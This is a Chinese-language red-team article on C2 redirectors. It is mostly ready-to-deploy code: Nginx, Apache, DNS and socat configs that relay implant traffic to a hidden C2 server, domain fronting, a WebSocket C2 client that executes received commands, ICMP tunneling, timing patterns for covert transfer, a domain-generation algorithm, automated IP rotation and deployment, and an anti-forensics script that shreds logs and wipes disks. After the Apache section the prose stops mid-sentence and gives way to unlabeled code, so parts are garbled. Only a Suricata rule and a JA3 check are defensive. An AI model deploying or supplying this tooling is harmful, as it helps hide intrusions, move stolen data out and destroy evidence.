C2 重定向器：现代红队行动的高级基础设施

《C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations》深入探讨了现代红队（Red Team）操作中使用的 C2（Command and Control，命令与控制）基础设施的高级技术，重点介绍了 C2 重定向器（Redirectors）的架构与实现。文章首先阐述了 C2 基础设施在红队行动中的核心作用，即通过隐藏真实的 C2 服务器来与目标环境中的植入程序通信，以降低被检测的风险。

文中详细讲解了多种类型的 C2 重定向器，包括 HTTP/HTTPS 重定向器（使用 Nginx 和 Apache 配置）、DNS 重定向器（通过 BIND 实现 DNS 隧道）以及 SMTP 和 Socat 多协议重定向器，并提供了具体的配置代码和实现步骤。

此外，文章还介绍了高级技术如域名伪装（Domain Fronting）、协议封装（Protocol Encapsulation）以及流量整形（Traffic Shaping），以进一步增强隐蔽性。同时，作者强调了操作安全（OPSEC）的重要性，分享了日志管理、IP 轮换、防火墙配置等防御措施，以及如何应对重定向器被发现的情况。总体而言，这篇文章为红队提供了构建隐秘、弹性 C2 基础设施的实用指南，同时也为蓝队（Blue Team）了解对手策略、提升检测能力提供了参考。

这篇简介总结了文章的核心内容，突出了其技术重点和实用价值，同时也考虑到了红队与蓝队在攻防中的双重视角。

介绍

让我们来谈谈命令与控制 (C2) 基础设施。它是任何红队行动的支柱，让你能够与目标环境中的植入物进行通信。但问题是——如今直接连接到 C2 服务器风险太大。现代安全工具可以轻松发现这些连接，这对你的行动来说是个坏消息。

这就是重定向器的作用所在。它们本质上是隐藏实际 C2 服务器的中间人。通过重定向器路由流量，蓝队可以更难找到并阻止你真正的指挥中心。你的基础设施的每个部分都有各自的用途，这使得一切都更加安全高效。

在本文中，我将详细介绍如何设置和使用不同类型的 C2 重定向器。我将向您展示 C2 通信链的具体细节，并提供一些实际可用的示例。

C2通信链详解

在深入研究重定向器之前，你需要了解整个 C2 设置的工作原理。现代 C2 基础设施包含以下几层：

1. 植入程序/代理- 这是在受感染系统上运行的恶意代码。它通过建立看似正常流量的出站连接来发起攻击。

2. 首跳基础设施- 这些是你的重定向器，也是你的植入程序的第一个接触点。它们暴露在互联网上，但会屏蔽你实际的 C2 服务器。

3. 中间层基础设施——这个可选层增加了额外的安全性和流量过滤或额外身份验证等功能。

4. 团队服务器- 这是您实际控制一切的 C2 服务器。它绝对不能直接暴露在互联网上。

为什么要设置这么多层？很简单——如果有人发现并阻止了重定向器，你的主要基础设施仍然安全。你只需更换被入侵的重定向器，而不会中断整个运营。

C2重定向器的类型

不同情况需要不同类型的重定向器。让我们来看看最常见的几种重定向器以及如何设置它们。

HTTP/HTTPS 重定向器

HTTP 重定向器非常流行，因为 HTTP 流量可以完美地与正常的 Web 浏览融合。大多数企业环境都不会阻止它，这使得它成为 C2 的理想选择。

Nginx 实现

Nginx 是一款出色的 HTTP 重定向器。它速度快、灵活，而且占用资源少。设置方法如下：

server {listen80;listen443 ssl;server_name legitimate-looking-domain.com;ssl_certificate /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem;ssl_certificate_key /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem;access_log /var/log/nginx/legitimate-looking-domain.com.access.log;error_log /var/log/nginx/legitimate-looking-domain.com.error.log;# Critical: Only forward specific URIs to avoid detectionlocation /news/api/v1/ {proxy_pass https://actual-c2-server.com:443/api/;proxy_ssl_server_nameon;proxy_ssl_name actual-c2-server.com;proxy_set_header Host actual-c2-server.com;# Hide original headersproxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Real-IP $remote_addr;    }# Serve legitimate content for all other requestslocation / {root /var/www/legitimate-looking-domain.com;index index.html;    }}

此配置做了几件重要的事情：

• 监听 HTTP 和 HTTPS 端口

• 仅将特定 URL 转发到您的 C2 服务器

• 为其他所有内容提供正常内容

• 保留客户端 IP 信息

• 处理 SSL 加密

为了获得最佳效果，请在您的网络服务器上放置与域名匹配的真实内容。如果您的域名与新闻相关，请在上面放置一些文章和图片，以确保它对任何检查者来说都是合法的。

Apache 实现

如果您更喜欢 Apache，请按照以下步骤操作：

<VirtualHost *:80>    ServerName legitimate-looking-domain.com    ServerAdmin admin@example.com    DocumentRoot /var/www/legitimate-looking-domain.com    ErrorLog ${APACHE_LOG_DIR}/error.log    CustomLog ${APACHE_LOG_DIR}/access.log combined    # Redirect everything to HTTPS    Redirect permanent / https://legitimate-looking-domain.com/</VirtualHost><VirtualHost *:443>    ServerName legitimate-looking-domain.com    ServerAdmin admin@example.com    DocumentRoot /var/www/legitimate-looking-domain.com    SSLEngine on    SSLCertificateFile /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem    SSLCertificateKeyFile /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem    # Redirect specific URI pattern    ProxyPass /news/api/v1/ https://actual-c2-server.com:443/api/    ProxyPassReverse /news/api/v1/ https://actual-c2-server.com:443/api/    # Set headers for client tracking    ProxyPreserveHost Off    RequestHeader set Host "actual-c2-server.com"    RequestHeader setX-Forwarded-For "%{REMOTE_ADDR}s"</VirtualHost>

这个 Apache 设置做了类似的事情：

# named.conf.localzone "c2domain.com" {    type master;    file "/etc/bind/zones/c2domain.com.zone";};# /etc/bind/zones/c2domain.com.zone$TTL 3600@ IN SOA c2domain.com. admin.c2domain.com. (202503181 ; Serial3600      ; Refresh1800      ; Retry604800    ; Expire86400 ) ; Minimum TTL@ IN NS ns1.c2domain.com.@ IN NS ns2.c2domain.com.@ IN A 203.0.113.10 ; Redirector IPns1 IN A 203.0.113.10ns2 IN A 203.0.113.10# Add DNS TXT records for data exfiltration_data1 IN TXT "redirect-to-actual-c2-server-ip"

#!/usr/bin/env python3import socketimport dnslibimport threadingdefdns_handler(data, client_addr, server_sock):    request = dnslib.DNSRecord.parse(data)    domain = str(request.q.qname)# Log the incoming request    print(f"Query from {client_addr[0]}: {domain}")# Forward specific subdomains to the actual C2 serverif"exfil"in domain or"cmd"in domain:# Forward to actual C2 DNS server        c2_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)        c2_sock.sendto(data, ("192.168.100.10", 53))        c2_response, _ = c2_sock.recvfrom(1024)        server_sock.sendto(c2_response, client_addr)else:# Handle normally or return predefined response        qname = request.q.qname        reply = request.reply()        reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A, rdata=dnslib.A("203.0.113.10")))        server_sock.sendto(reply.pack(), client_addr)defmain():    server_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    server_sock.bind(("0.0.0.0", 53))    print("DNS redirector running...")whileTrue:        data, client_addr = server_sock.recvfrom(1024)        thread = threading.Thread(target=dns_handler, args=(data, client_addr, server_sock))        thread.daemon = True        thread.start()if __name__ == "__main__":    main()

# Postfix main.cf snippetrelay_domains = legitimate-company.com, c2domain.comtransport_maps = hash:/etc/postfix/transport# /etc/postfix/transportc2domain.com smtp:[192.168.100.10]

# TCP redirectionsocat TCP-LISTEN:80,fork TCP:192.168.100.10:80# TCP with SSL terminationsocat OPENSSL-LISTEN:443,cert=server.pem,fork TCP:192.168.100.10:443# UDP redirection (useful for DNS)socat UDP-LISTEN:53,fork UDP:192.168.100.10:53

# Source IP filteringsocat TCP-LISTEN:80,fork,range=192.168.1.0/24 TCP:192.168.100.10:80# Connection rate limitingsocat TCP-LISTEN:80,fork,max-children=10 TCP:192.168.100.10:80# Logging all trafficsocat -v TCP-LISTEN:80,fork TCP:192.168.100.10:802>>/var/log/socat.log

#!/usr/bin/env python3import requests# The domain fronting requestheaders = {'Host': 'actual-c2-server.com', # Real backend server'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}# The connection goes to a high-reputation domain on the same CDNresponse = requests.get('https://high-reputation-domain.com/path', # CDN edge domain    headers=headers)print(response.text)

defencapsulate_in_https(c2_data):"""Encapsulate C2 data in a legitimate-looking HTTPS request"""    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36','Accept': 'text/html,application/xhtml+xml','Accept-Language': 'en-US,en;q=0.9','Referer': 'https://www.google.com/','X-Custom-Data': base64.b64encode(c2_data).decode('utf-8')    }# Add randomized legitimate parameters    params = {'id': str(random.randint(10000, 99999)),'session': ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=16)),'utm_source': random.choice(['google', 'bing', 'facebook', 'twitter'])    }return requests.get('https://redirector-domain.com/blog/article', headers=headers, params=params)

deficmp_tunnel_send(c2_data, target_ip):"""Send C2 data in ICMP packets"""# Split data into chunks to fit in ICMP packets    chunks = [c2_data[i:i+32] for i in range(0, len(c2_data), 32)]for i, chunk in enumerate(chunks):# Create an ICMP echo request with data in the payload        packet = IP(dst=target_ip)/ICMP(type=8, seq=i)/Raw(load=chunk)        send(packet, verbose=0)        time.sleep(random.uniform(0.1, 0.5)) # Add jitter

// WebSocket-based C2 clientconst establishC2Channel = () => {const ws = new WebSocket('wss://legitimate-ws-service.com/socket');    ws.onopen = () => {console.log('Connection established');// Send initial beacon        ws.send(JSON.stringify({type: 'status',            data: encodeSystemInfo()        }));    };    ws.onmessage = (event) => {const message = JSON.parse(event.data);// Process commands from the C2 serverif (message.type === 'command') {            executeCommand(message.data)                .then(result => {                    ws.send(JSON.stringify({type: 'result',                        id: message.id,                        data: result                    }));                });        }    };// Implement reconnection logic    ws.onclose = () => {        setTimeout(establishC2Channel, getJitteredInterval(5000, 30000));    };};

defsend_c2_traffic(data):"""Send C2 traffic with realistic timing patterns"""    chunks = split_into_chunks(data)for chunk in chunks:# Working hours pattern (more traffic during business hours)        hour = datetime.now().hourif9 <= hour <= 17: # Business hours            delay = random.uniform(1, 5) # 1-5 secondselse:            delay = random.uniform(30, 120) # 30-120 seconds# Randomize weekendsif datetime.now().weekday() >= 5: # Weekend            delay *= 2        time.sleep(delay)        send_chunk(chunk)

defdetermine_safe_transfer_volume():"""Determine safe data transfer volume based on time patterns"""    hour = datetime.now().hour    weekday = datetime.now().weekday()# Base volume (in KB)if weekday < 5: # Weekdayif9 <= hour < 12or13 <= hour < 17: # Peak work hoursreturn random.randint(50, 200)elif7 <= hour < 9or17 <= hour < 19: # Commute timesreturn random.randint(20, 50)else: # Night timereturn random.randint(5, 15)else: # Weekendreturn random.randint(10, 30)

defmimic_browser_behavior(session, target_url):"""Mimic realistic browsing patterns for web-based C2"""# First request: main page    response = session.get(target_url)# Extract links from the page    links = extract_links(response.text)# Visit 2-5 random pages from the sitefor _ in range(random.randint(2, 5)):ifnot links:break# Choose a random link        next_url = random.choice(links)        links.remove(next_url)# Add realistic delay between page visits        time.sleep(random.uniform(3, 15))# Visit the page        session.get(next_url)# Return to main page occasionallyif random.random() < 0.3:        time.sleep(random.uniform(5, 20))        session.get(target_url)

# Using Let's Encrypt for legitimate-looking certificatescertbot certonly --standalone -d legitimate-looking-domain.com# Check certificate expirationopenssl x509 -in /etc/letsencrypt/live/legitimate-looking-domain.com/cert.pem -noout -dates# Set up automatic renewalecho"0 0 * * * root certbot renew --quiet" > /etc/cron.d/certbot-renew

# Creating a proper CSR with appropriate parametersopenssl req -new -sha256 -key domain.key -subj "/C=US/ST=California/L=San Francisco/O=Technology Blog/CN=legitimate-looking-domain.com" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf"[SAN]nsubjectAltName=DNS:legitimate-looking-domain.com,DNS:www.legitimate-looking-domain.com")) -out domain.csr

# NginxconfigurationformodernTLSsecurityssl_protocolsTLSv1.2TLSv1.3;ssl_prefer_server_ciphersoff;ssl_ciphersECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305;ssl_session_timeout 1d;ssl_session_cacheshared:SSL:10m;ssl_session_ticketsoff;

ssl_staplingon;ssl_stapling_verifyon;ssl_trusted_certificate /etc/letsencrypt/live/legitimate-looking-domain.com/chain.pem;resolver8.8.8.88.8.4.4 valid=300s;resolver_timeout5s;

defcheck_certificate_transparency_exposure(domain):"""Check if a domain appears in certificate transparency logs"""    url = f"https://crt.sh/?q={domain}&output=json"    response = requests.get(url)if response.status_code == 200:        certificates = response.json()        print(f"Found {len(certificates)} certificates for {domain}")for cert in certificates[:5]: # Show the 5 most recent            print(f"Issued: {cert['entry_timestamp']}, CA: {cert['issuer_name']}")else:        print("Failed to check certificate transparency logs")

import boto3import timedefrotate_redirector_ip():"""Rotate EC2 instance Elastic IP to avoid blocking"""    ec2 = boto3.client('ec2')# Allocate new Elastic IP    new_ip = ec2.allocate_address(Domain='vpc')# Get current instance ID    instances = ec2.describe_instances(        Filters=[{'Name': 'tag:Role', 'Values': ['redirector']}]    )    instance_id = instances['Reservations'][0]['Instances'][0]['InstanceId']# Associate new IP with instance    ec2.associate_address(        InstanceId=instance_id,        AllocationId=new_ip['AllocationId']    )# Update DNS records    update_dns_records(new_ip['PublicIp'])# Wait for propagation    time.sleep(300)# Release old IP if needed    old_addresses = ec2.describe_addresses()for addr in old_addresses['Addresses']:if'InstanceId'notin addr and addr['AllocationId'] != new_ip['AllocationId']:            ec2.release_address(AllocationId=addr['AllocationId'])

defschedule_ip_rotation(ec2_instances, rotation_frequency_hours=72):"""Schedule regular IP rotation for multiple redirectors"""import schedule# Stagger rotation times to avoid all redirectors changing simultaneouslyfor i, instance in enumerate(ec2_instances):# Calculate hours offset to stagger rotations        offset_hours = (i * rotation_frequency_hours) / len(ec2_instances)        initial_delay = datetime.timedelta(hours=offset_hours)        next_rotation = datetime.datetime.now() + initial_delay        print(f"Scheduling instance {instance} for first rotation at {next_rotation}")# Schedule initial rotation        schedule.every(rotation_frequency_hours).hours.do(rotate_instance_ip, instance_id=instance)# Run the schedulerwhileTrue:        schedule.run_pending()        time.sleep(60)

defallocate_ip_in_region(region):"""Allocate an IP address in a specific AWS region"""    ec2 = boto3.client('ec2', region_name=region)# Allocate Elastic IP in the specified region    allocation = ec2.allocate_address(Domain='vpc')return {'region': region,'allocation_id': allocation['AllocationId'],'public_ip': allocation['PublicIp']    }# Allocate IPs across different regionsregions = ['us-east-1', 'eu-west-1', 'ap-southeast-1', 'sa-east-1']regional_ips = [allocate_ip_in_region(region) for region in regions]

defcheck_ip_reputation(ip_address):"""Check if an IP has been flagged in threat intelligence platforms"""# Example using AbuseIPDB API    url = f"https://api.abuseipdb.com/api/v2/check"    headers = {'Key': 'YOUR_API_KEY','Accept': 'application/json',    }    params = {'ipAddress': ip_address,'maxAgeInDays': 90    }    response = requests.get(url, headers=headers, params=params)    data = response.json()if data['data']['abuseConfidenceScore'] > 20:        print(f"WARNING: IP {ip_address} has a high abuse score: {data['data']['abuseConfidenceScore']}")returnTruereturnFalse# Check all redirector IPsfor redirector_ip in get_current_redirector_ips():if check_ip_reputation(redirector_ip):# Trigger an emergency rotation if the IP is flagged        emergency_rotate_ip(redirector_ip)

# iptables rules to harden redirector# Allow only necessary portsiptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp --dport 443 -j ACCEPT# Rate limiting to prevent fingerprintingiptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --setiptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 20 -j DROP# Log suspicious activitiesiptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH ATTEMPT: "# Geolocation filtering if applicable to the operationiptables -A INPUT -m geoip --src-cc RU,CN -j DROP

# Allow established and related trafficiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT# Allow loopback trafficiptables -A INPUT -i lo -j ACCEPT# Allow specific servicesiptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp --dport 443 -j ACCEPT# Default deny ruleiptables -A INPUT -j DROP

# Drop common scan attempts without responseiptables -A INPUT -p tcp --dport 22 -j DROPiptables -A INPUT -p tcp --dport 3389 -j DROPiptables -A INPUT -p tcp --dport 445 -j DROPiptables -A INPUT -p tcp --dport 1433 -j DROP

# Set custom connection tracking timeoutsecho "net.netfilter.nf_conntrack_tcp_timeout_established=3600">> /etc/sysctl.confecho "net.netfilter.nf_conntrack_udp_timeout=30">> /etc/sysctl.confecho "net.netfilter.nf_conntrack_icmp_timeout=30">> /etc/sysctl.confsysctl -p

provider"aws" {region = "us-east-1"}# Create redirector VPCresource "aws_vpc""redirector_vpc" {cidr_block = "10.0.0.0/16"  tags = {Name = "RedirectorVPC"  }}# Create public subnetresource "aws_subnet""redirector_subnet" {vpc_id     = aws_vpc.redirector_vpc.id  cidr_block = "10.0.1.0/24"  map_public_ip_on_launch = true  tags = {Name = "RedirectorSubnet"  }}# Create security groupresource "aws_security_group""redirector_sg" {name        = "redirector_sg"  description = "Allow HTTP/HTTPS inbound traffic"  vpc_id = aws_vpc.redirector_vpc.id  ingress {from_port   = 80    to_port = 80    protocol = "tcp"    cidr_blocks = ["0.0.0.0/0"]  }  ingress {from_port   = 443    to_port = 443    protocol = "tcp"    cidr_blocks = ["0.0.0.0/0"]  }  egress {from_port   = 0    to_port = 0    protocol = "-1"    cidr_blocks = ["0.0.0.0/0"]  }}# Create EC2 instanceresource "aws_instance""http_redirector" {ami           = "ami-0c55b159cbfafe1f0"# Ubuntu 20.04 LTS  instance_type = "t3.micro"  subnet_id = aws_subnet.redirector_subnet.id  vpc_security_group_ids = [aws_security_group.redirector_sg.id]  key_name = "redirector-key"  user_data = <<-EOF#!/bin/bash              apt-get update              apt-get install -y nginx certbot python3-certbot-nginx              echo 'server {                  listen 80;                  server_name ${var.redirector_domain};                  location /news/api/v1/ {                      proxy_pass https://${var.c2_server}/api/;                      proxy_set_header Host ${var.c2_server};                  }                  location / {                      root /var/www/html;                      index index.html;                  }              }' > /etc/nginx/sites-available/default              systemctl restart nginx              EOF  tags = {Name = "HTTP-Redirector"    Role = "redirector"  }}# Create managed DNS recordresource "aws_route53_record""redirector_dns" {zone_id = var.hosted_zone_id  name = var.redirector_domain  type = "A"  ttl = "300"  records = [aws_instance.http_redirector.public_ip]}# Variablesvariable "redirector_domain" {description = "Domain name for the redirector"  type = string  default = "news-updates.com"}variable "c2_server" {description = "Actual C2 server domain or IP"  type = string}variable "hosted_zone_id" {description = "Route53 hosted zone ID"  type = string}# Outputsoutput "redirector_ip" {value = aws_instance.http_redirector.public_ip}output "redirector_domain" {value = var.redirector_domain}

---- name: Configure HTTP Redirector  hosts: redirectors  become: yes  vars:    redirector_domain: "news-updates.com"    c2_server: "actual-c2-server.com"    cert_email: "[email protected]"  tasks:    - name: Updateandupgrade apt packages      apt:upgrade: yes        update_cache: yes    - name: Installrequired packages      apt:name:          - nginx          - certbot          - python3-certbot-nginx          - fail2ban          - ufw        state: present    - name: Configure Nginxtemplate:        src: templates/nginx.conf.j2        dest: /etc/nginx/sites-available/default      notify: Restart Nginx    - name: Configure fail2bantemplate:        src: templates/jail.local.j2        dest: /etc/fail2ban/jail.local      notify: Restart fail2ban    - name: Configure UFW      ufw:        rule: allow        port: "{{ item }}"        proto: tcploop:        - 80        - 443    - name: Enable UFW      ufw:        state: enabledpolicy: deny    - name: Obtain SSL certificate      shell: >        certbot --nginx -d {{ redirector_domain }} --non-interactive --agree-tos -m {{ cert_email }}      args:        creates: /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem    - name: Set up automatic certificate renewal      cron:name: "Certbot renewal"        job: "certbot renew --quiet --no-self-upgrade"        special_time: daily  handlers:    - name: Restart Nginx      service:name: nginx        state: restarted    - name: Restart fail2ban      service:name: fail2ban        state: restarted

FROM nginx:alpine# Install required toolsRUN apk add --no-cache certbot openssl curl bash# Copy configuration filesCOPY nginx.conf /etc/nginx/conf.d/default.confCOPY entrypoint.sh /entrypoint.sh# Make entrypoint executableRUN chmod +x /entrypoint.sh# Set environment variablesENV REDIRECTOR_DOMAIN=example.comENV C2_SERVER=actual-c2-server.comENV REDIRECT_PATH=/news/api/v1/ENV C2_PATH=/api/# Expose portsEXPOSE 80443# Set entrypointENTRYPOINT ["/entrypoint.sh"]

#!/bin/bashset -e# Generate Nginx config from templatecat > /etc/nginx/conf.d/default.conf << EOLserver {listen80;server_name${REDIRECTOR_DOMAIN};location /.well-known/acme-challenge/ {root /var/www/certbot;    }location / {return301 https://$host$request_uri;    }}server {listen443 ssl;server_name${REDIRECTOR_DOMAIN};ssl_certificate /etc/letsencrypt/live/${REDIRECTOR_DOMAIN}/fullchain.pem;ssl_certificate_key /etc/letsencrypt/live/${REDIRECTOR_DOMAIN}/privkey.pem;location${REDIRECT_PATH} {proxy_pass https://${C2_SERVER}${C2_PATH};proxy_set_header Host ${C2_SERVER};proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    }location / {root /usr/share/nginx/html;index index.html;    }}EOL# Check if certificates exist, obtain if necessaryif [ ! -d "/etc/letsencrypt/live/${REDIRECTOR_DOMAIN}" ]; then    echo "Obtaining certificates for ${REDIRECTOR_DOMAIN}..."    certbot certonly --standalone -d ${REDIRECTOR_DOMAIN} --non-interactive --agree-tos -m admin@example.comfi# Start Nginxnginx -g 'daemon off;'

version: '3'services:  http-redirector:    build: .    ports:      - "80:80"      - "443:443"    environment:      - REDIRECTOR_DOMAIN=legitimate-looking-domain.com      - C2_SERVER=actual-c2-server.com      - REDIRECT_PATH=/news/api/v1/      - C2_PATH=/api/    volumes:      - ./data/certbot/conf:/etc/letsencrypt      - ./data/certbot/www:/var/www/certbot      - ./data/html:/usr/share/nginx/html    restart: unless-stopped  certbot:    image: certbot/certbot    volumes:      - ./data/certbot/conf:/etc/letsencrypt      - ./data/certbot/www:/var/www/certbot    entrypoint:"/bin/sh -c 'trap exit TERM; while :; do certbot renew; sleep 12h & wait $${!}; done;'"

# Suricata rule to detect suspicious long-polling HTTPS connectionsalert http $HOME_NET any -> $EXTERNAL_NET any (    msg:"Potential C2 channel - Long polling HTTPS";     flow:established,to_server;     http.method; content:"POST";     http.header; content:"Content-Type: application/octet-stream";     tls.cert_subject; content:!"Microsoft Corporation"; content:!"Google LLC"; content:!"Amazon.com";     detection_filter:track by_src, count 5, seconds 3600;     classtype:trojan-activity;     sid:3000001; rev:1;)

defanalyze_ssl_fingerprint(pcap_file):"""Analyze SSL/TLS fingerprints in PCAP to detect C2 redirectors"""    fingerprints = {}for packet in read_pcap(pcap_file):if packet.haslayer(TLS) and packet.haslayer(TCP):# Extract JA3 fingerprint            ja3 = extract_ja3(packet)if ja3:if ja3 in fingerprints:                    fingerprints[ja3] += 1else:                    fingerprints[ja3] = 1# Check against known C2 framework fingerprints    known_c2_ja3 = ["e7d705a3286e19ea42f587b344ee6865", # Cobalt Strike"6734f37431670b3ab4292b8f60f29984", # Metasploit"a0e9f5d64349fb13191bc781f81f42e1"# Empire    ]for fp, count in fingerprints.items():if fp in known_c2_ja3:            print(f"Warning: Detected potential C2 SSL fingerprint {fp} (count: {count})")

defgenerate_domain(seed, date):"""Generate domain based on seed and current date"""# Use date components to make it deterministic    day = date.day    month = date.month    year = date.year# Create a deterministic seed    domain_seed = seed + str(day) + str(month) + str(year)# Generate domain componentsimport hashlibimport base64    hash_obj = hashlib.sha256(domain_seed.encode())    hash_digest = hash_obj.digest()# Convert to base36 for domain-safe characters    hash_b36 = base64.b36encode(hash_digest[:10]).decode().lower()# Add a realistic-looking TLD    tlds = ['com', 'net', 'org', 'info', 'io']    tld_index = sum(bytearray(hash_digest[10:11])) % len(tlds)returnf"{hash_b36}.{tlds[tld_index]}"

defsetup_cdn_redirector():"""Setting up a CDN for redirector obfuscation"""# Configure CloudFront distribution    cloudfront = boto3.client('cloudfront')    response = cloudfront.create_distribution(        DistributionConfig={'Origins': {'Quantity': 1,'Items': [                    {'Id': 'redirector-origin','DomainName': 'redirector-elb-12345.us-east-1.elb.amazonaws.com','CustomOriginConfig': {'HTTPPort': 80,'HTTPSPort': 443,'OriginProtocolPolicy': 'https-only','OriginSSLProtocols': {'Quantity': 1,'Items': ['TLSv1.2']                            }                        }                    }                ]            },'DefaultCacheBehavior': {'TargetOriginId': 'redirector-origin','ViewerProtocolPolicy': 'redirect-to-https','AllowedMethods': {'Quantity': 7,'Items': ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'OPTIONS', 'DELETE'],'CachedMethods': {'Quantity': 2,'Items': ['GET', 'HEAD']                    }                },'ForwardedValues': {'QueryString': True,'Cookies': {'Forward': 'all'                    },'Headers': {'Quantity': 1,'Items': ['Host']                    }                },'MinTTL': 0,'DefaultTTL': 0            },'Enabled': True,'Comment': 'Legitimate website distribution'        }    )    print(f"CDN Distribution created: {response['Distribution']['DomainName']}")

defsanitize_logs():"""Sanitize sensitive logs on the redirector"""# Remove IP addresses    sed_command = "sed -i 's/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/REDACTED_IP/g' /var/log/nginx/access.log"    os.system(sed_command)# Remove User Agents    sed_command = "sed -i 's/"Mozilla\/[^"]*"/"REDACTED_UA"/g' /var/log/nginx/access.log"    os.system(sed_command)# Remove request URIs containing potential C2 paths    sed_command = "sed -i 's/GET \/news\/api\/v1\/[^ ]*/GET \/news\/api\/v1\/REDACTED_URI/g' /var/log/nginx/access.log"    os.system(sed_command)

defimplement_advanced_logging():"""Set up advanced logging configuration"""# Configure rsyslog for minimal logging    rsyslog_conf = """    # Minimal logging configuration    # Only log critical errors    *.info;mail.none;authpriv.none;cron.none /var/log/messages    # Discard debug messages    *.=debug /dev/null    # Set strict permissions on logs    $FileOwner root    $FileGroup adm    $FileCreateMode 0640    $DirCreateMode 0755    $Umask 0022    """with open('/etc/rsyslog.conf', 'w') as f:        f.write(rsyslog_conf)# Set up log rotation with secure deletion    logrotate_conf = """    /var/log/nginx/*.log {        daily        rotate 1        missingok        notifempty        compress        delaycompress        sharedscripts        postrotate            find /var/log/nginx/ -type f -name "*.log.1" -exec shred -u {} ;            /etc/init.d/nginx reload >/dev/null 2>&1        endscript    }    """with open('/etc/logrotate.d/nginx', 'w') as f:        f.write(logrotate_conf)

defcheck_redirector_health():"""Perform health checks on redirector infrastructure"""    checks = [        ("Certificate Expiry", check_certificate_expiry),        ("Domain Registration Expiry", check_domain_expiry),        ("IP Reputation", check_ip_reputation),        ("Server Uptime", check_server_uptime),        ("Firewall Rules", check_firewall_rules),        ("Suspicious Connections", check_suspicious_connections)    ]    results = {}for check_name, check_func in checks:try:            status, details = check_func()            results[check_name] = {"status": status, "details": details}except Exception as e:            results[check_name] = {"status": "ERROR", "details": str(e)}return results

defcheck_certificate_expiry():"""Check if SSL certificates are approaching expiration"""    cmd = "openssl x509 -enddate -noout -in /etc/letsencrypt/live/*/cert.pem"    output = subprocess.check_output(cmd, shell=True).decode('utf-8')# Parse expiry date    expiry_str = output.split('=')[1].strip()    expiry_date = datetime.strptime(expiry_str, '%b %d %H:%M:%S %Y %Z')    days_remaining = (expiry_date - datetime.now()).daysif days_remaining < 7:return"WARNING", f"Certificate expires in {days_remaining} days"return"OK", f"Certificate valid for {days_remaining} days"defcheck_suspicious_connections():"""Check for suspicious outbound connections"""# Get established connections    cmd = "ss -tuln | grep ESTABLISHED"    output = subprocess.check_output(cmd, shell=True).decode('utf-8')# Get list of authorized destinations    authorized = ['198.51.100.1:443', '203.0.113.1:80']# Check for unauthorized connections    unauthorized = []for line in output.splitlines():        parts = line.split()if len(parts) >= 5:            dest = parts[4]if dest notin authorized:                unauthorized.append(dest)if unauthorized:return"WARNING", f"Unauthorized connections: {', '.join(unauthorized)}"return"OK", "No suspicious connections detected"

#!/bin/bash# Emergency redirector rotation script# Parse argumentsCURRENT_IP=$1OPERATION_NAME=$2# Log the rotation eventecho"[$(date)] Rotating redirector for operation $OPERATION_NAME (current IP: $CURRENT_IP)" >> /var/log/rotation.log# Provision new infrastructureTERRAFORM_DIR="/opt/redirector-terraform"cd$TERRAFORM_DIR# Create new redirectorterraform apply -var="operation_name=$OPERATION_NAME" -var="emergency_rotation=true" -auto-approve# Get new redirector detailsNEW_IP=$(terraform output -raw redirector_ip)NEW_DOMAIN=$(terraform output -raw redirector_domain)# Update DNS recordsecho"[$(date)] New redirector provisioned: $NEW_IP ($NEW_DOMAIN)" >> /var/log/rotation.log# Notify teamcurl -X POST "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage"     -d "chat_id=$TELEGRAM_CHAT_ID"     -d "text=🚨 Emergency redirector rotation completed 🚨Operation: $OPERATION_NAMENew IP: $NEW_IPNew Domain: $NEW_DOMAINPlease update any active agents."# Sanitize and shut down old redirectorssh admin@$CURRENT_IP"sudo bash /opt/cleanup.sh && sudo shutdown -h now"

#!/bin/bash# cleanup.sh - Sanitize a compromised redirector# Stop servicessystemctl stop nginxsystemctl stop ssh# Clear logsfind /var/log -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || true# Clear bash historyhistory -cecho"" > ~/.bash_historyunset HISTFILE# Securely delete sensitive filesfind /etc/nginx/sites-available -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || truefind /etc/letsencrypt -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || truefind /root -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || true# Clear swapswapoff -aswapon -a# Overwrite free spacedd if=/dev/zero of=/zerofile bs=4M || truerm -f /zerofileecho"Cleanup complete"